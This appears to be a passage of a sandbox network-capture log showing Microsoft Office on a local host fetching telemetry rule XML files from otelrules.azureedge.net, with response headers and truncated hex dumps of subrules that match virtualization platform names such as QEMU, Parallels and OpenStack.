2024-11-20 00:18:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:34 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001834Z-185f5d8b95c96jn4hC1NYCbgp800000009fg00000000b273 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:34 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001834Z-1777c6cb754b7tdghC1TEBwwa40000000900000000006gv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:34 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001834Z-185f5d8b95csp6jmhC1NYCwy6s00000009d000000000de76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-185f5d8b95c96jn4hC1NYCbgp800000009b000000000wmqh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:35 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-r1d97b995777mdbwhC1TEBezag000000085g000000000n61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:35 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-185f5d8b95cwtv72hC1NYC141w00000009dg000000008dkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:35 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-185f5d8b95cmd8vfhC1NYC0g4000000005a000000000h1hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-1777c6cb754gvvgfhC1TEBz4rg00000008zg000000001zdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:35 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-185f5d8b95cdh56ghC1NYCk1x4000000038000000000mrfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-r1d97b99577n4dznhC1TEBc1qw000000082000000000errh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:35 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001835Z-1777c6cb7544n7p6hC1TEByvb40000000910000000004a2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:35 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
